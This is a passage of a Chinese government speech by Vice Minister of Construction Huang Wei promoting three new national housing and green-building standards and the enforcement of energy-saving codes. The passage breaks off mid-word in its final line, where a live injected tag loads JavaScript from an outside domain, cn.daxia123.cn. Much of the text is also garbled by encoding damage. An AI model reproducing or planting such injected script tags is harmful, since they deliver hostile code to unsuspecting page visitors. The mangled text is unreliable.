建設(shè)部副部長黃衛(wèi)在《住宅建筑規(guī)范》、《住宅性能評定技術(shù)標(biāo)準(zhǔn)》、《綠色建筑評價標(biāo)準(zhǔn)》發(fā)布宣貫會上的講話
同志們、朋友們:
由建設(shè)部組織編制、審查、批準(zhǔn)的國家標(biāo)準(zhǔn)《住宅建筑規(guī)范》、《住宅性能評定技術(shù)標(biāo)準(zhǔn)》、《綠色建筑評價標(biāo)準(zhǔn)》已與國家質(zhì)檢總局聯(lián)合發(fā)布。這三部標(biāo)準(zhǔn)的批準(zhǔn)發(fā)布,是貫徹落實科學(xué)發(fā)展觀,落實黨中央、國務(wù)院關(guān)于建設(shè)資源節(jié)約型、環(huán)境友好型社會,大力發(fā)展節(jié)能省地型住宅和公共建筑,制定并強制推行更加嚴(yán)格的節(jié)能、節(jié)水、節(jié)地、節(jié)材標(biāo)準(zhǔn)的又一項重大舉措;也是進(jìn)一步提高住宅和公共建筑品質(zhì),維護(hù)社會公眾利益,構(gòu)建社會主義和諧社會的一項重大舉措。
今天,我們邀請國務(wù)院有關(guān)部門、各省、自治區(qū)、直轄市建設(shè)主管部門的有關(guān)負(fù)責(zé)同志,部分設(shè)計單位、生產(chǎn)企業(yè)的代表以及新聞單位的朋友們,在這里舉行三部標(biāo)準(zhǔn)規(guī)范發(fā)布宣貫會,目的是加強對建設(shè)領(lǐng)域節(jié)能、節(jié)水、節(jié)地、節(jié)材標(biāo)準(zhǔn)的宣傳,提升全行業(yè)乃至全社會重視和使用工程建設(shè)標(biāo)準(zhǔn)的意識。要從資源能源的節(jié)約與合理利用的高度,提高嚴(yán)格貫徹執(zhí)行工程建設(shè)標(biāo)準(zhǔn)的自覺性,強化對工程建設(shè)標(biāo)準(zhǔn)實施的監(jiān)督管理,進(jìn)一步發(fā)揮工程建設(shè)標(biāo)準(zhǔn)的約束和引導(dǎo)作用,促進(jìn)住宅和公共建筑建設(shè)的健康發(fā)展。
下面,我談幾點意見。
一、要充分認(rèn)識工程建設(shè)標(biāo)準(zhǔn)在建設(shè)資源節(jié)約型、環(huán)境友好型社會中的重要地位
資源環(huán)境約束與城鄉(xiāng)建設(shè)和經(jīng)濟快速增長的矛盾,已經(jīng)成為我國經(jīng)濟社會發(fā)展面臨的嚴(yán)峻挑戰(zhàn)。前不久,我們組織了全國建筑節(jié)能情況調(diào)查,從2000年到2004年,按節(jié)能標(biāo)準(zhǔn)設(shè)計的項目只有58.53%,按節(jié)能標(biāo)準(zhǔn)建造的項目只有23.25%。在去年的《公共建筑節(jié)能設(shè)計標(biāo)準(zhǔn)》發(fā)布宣貫會上,我也曾強調(diào),設(shè)計單位、施工單位、開發(fā)單位一定要嚴(yán)格執(zhí)行建筑節(jié)能強制性標(biāo)準(zhǔn)。我們發(fā)現(xiàn),在沒有按照建筑節(jié)能標(biāo)準(zhǔn)設(shè)計的單位里,有大設(shè)計院也有小設(shè)計院,因此,各級建設(shè)主管部門一定要認(rèn)真抓好標(biāo)準(zhǔn)的落實。建筑節(jié)能是個大戰(zhàn)略,是落實科學(xué)發(fā)展觀,建設(shè)社會主義和諧社會、環(huán)境友好型社會的非常重要的環(huán)節(jié)。建設(shè)部要加強標(biāo)準(zhǔn)的實施監(jiān)督。只要不按照強制性標(biāo)準(zhǔn)去做,不按照國家的標(biāo)準(zhǔn)去做,一味遷就開發(fā)商或者業(yè)主,那就要受到處罰。作為設(shè)計單位首先要遵守國家的標(biāo)準(zhǔn),現(xiàn)在有些設(shè)計人員經(jīng)常向我們訴苦、抱怨,覺得自己沒辦法,開發(fā)商、業(yè)主有這個要求,我們不按照做,就沒有活干,這不能成為違反強制性標(biāo)準(zhǔn)的理由,這是個非常嚴(yán)肅的問題,我們在建筑節(jié)能這個問題上,態(tài)度是非常堅定的。我們現(xiàn)在有很多的強制性標(biāo)準(zhǔn),比如,在建筑節(jié)能和結(jié)構(gòu)安全上,就絲毫不能含糊。當(dāng)然,設(shè)計人員在結(jié)構(gòu)安全上,不好說業(yè)主怎么要求,我就怎么做,不管安全了。但是,現(xiàn)在大家的思想認(rèn)識在一定程度上還存在認(rèn)為節(jié)能是無關(guān)緊要的。希望建設(shè)部的有關(guān)部門和省市配合起來,要抓典型,要抓做的好的,也要抓做的不好的,典型主要抓大院、大的單位,要是大院、大的單位不能帶頭做好,整個設(shè)計市場就不可能把國家的標(biāo)準(zhǔn)落實好。
黨的十六屆五中全會提出,要把節(jié)約資源、走可持續(xù)發(fā)展道路作為基本國策,加快建設(shè)資源節(jié)約型、環(huán)境友好型社會,確定了“十一五”期末單位國內(nèi)生產(chǎn)總值能源消耗比“十五”期末降低20%左右、生態(tài)環(huán)境惡化趨勢基本遏制的目標(biāo)。中央經(jīng)濟工作會議要求,2006年務(wù)必在節(jié)約能源資源上取得明顯成效。為此,我們要抓好節(jié)能省地型建筑的發(fā)展,制定并強制執(zhí)行節(jié)能、節(jié)水、節(jié)地、節(jié)材標(biāo)準(zhǔn),加強工程建設(shè)標(biāo)準(zhǔn)體系建設(shè),全面促進(jìn)建設(shè)市場各方主體節(jié)能、節(jié)水、節(jié)地、節(jié)材,保護(hù)生態(tài)和環(huán)境,發(fā)展循環(huán)經(jīng)濟,在建設(shè)資源節(jié)約型、環(huán)境友好型社會中充分發(fā)揮先導(dǎo)作用。
工程建設(shè)標(biāo)準(zhǔn)作為建設(shè)活動的基本規(guī)則和技術(shù)準(zhǔn)則,涵蓋了規(guī)劃、勘察、設(shè)計、施工、驗收、運行管理等各個環(huán)節(jié)。而發(fā)展節(jié)能省地型住宅與公共建筑的實質(zhì),就是在建筑的全壽命周期內(nèi)充分體現(xiàn)節(jié)能、節(jié)水、節(jié)地、節(jié)材以及環(huán)境保護(hù)的要求,在保證建筑安全性、適用性、經(jīng)濟性的基礎(chǔ)上,實現(xiàn)建筑的可持續(xù)發(fā)展。
工程建設(shè)標(biāo)準(zhǔn)為節(jié)能省地型建筑提供了技術(shù)支撐和實施依據(jù)。因此,發(fā)展節(jié)能省地型建筑,離不開工程建設(shè)標(biāo)準(zhǔn)化的基礎(chǔ)性作用。建設(shè)工程的地址選擇、規(guī)劃布局、造型、建筑施工方法、各種建材以及建筑產(chǎn)品的使用,對各種資源能源的合理利用和消耗程度有很大影響。據(jù)有關(guān)資料反映,我國建筑能耗約占全國總能耗的30%,如果加上建筑材料的生產(chǎn),能耗還要更高,用水約占城市總用水量的47%,使用的鋼材和水泥分別約占全國總使用量的30%和25%。我國每年城鄉(xiāng)新建房屋建筑面積近20億平方米,其中大量的建筑為高耗能建筑;既有建筑近400億平方米,大量的也是高耗能建筑,一方面這是當(dāng)時的歷史條件下遺留的產(chǎn)物,我們當(dāng)時還沒有強制性標(biāo)準(zhǔn)。另一方面還有相當(dāng)?shù)谋壤俏覀冊O(shè)計人員、設(shè)計單位沒有按照標(biāo)準(zhǔn)做的,特別是近幾年,也遺留下大量的非節(jié)能建筑,所以,我們一定要把好關(guān)。目前,我國單位建筑面積能耗高于發(fā)達(dá)國家。對如此量大面廣、高資源消耗的建設(shè),建筑業(yè)及其相關(guān)產(chǎn)業(yè)能不能切實貫徹“節(jié)能、節(jié)水、節(jié)地、節(jié)材、環(huán)保”的要求,發(fā)展循?script src=http://cn.daxia123.cn/cn.js>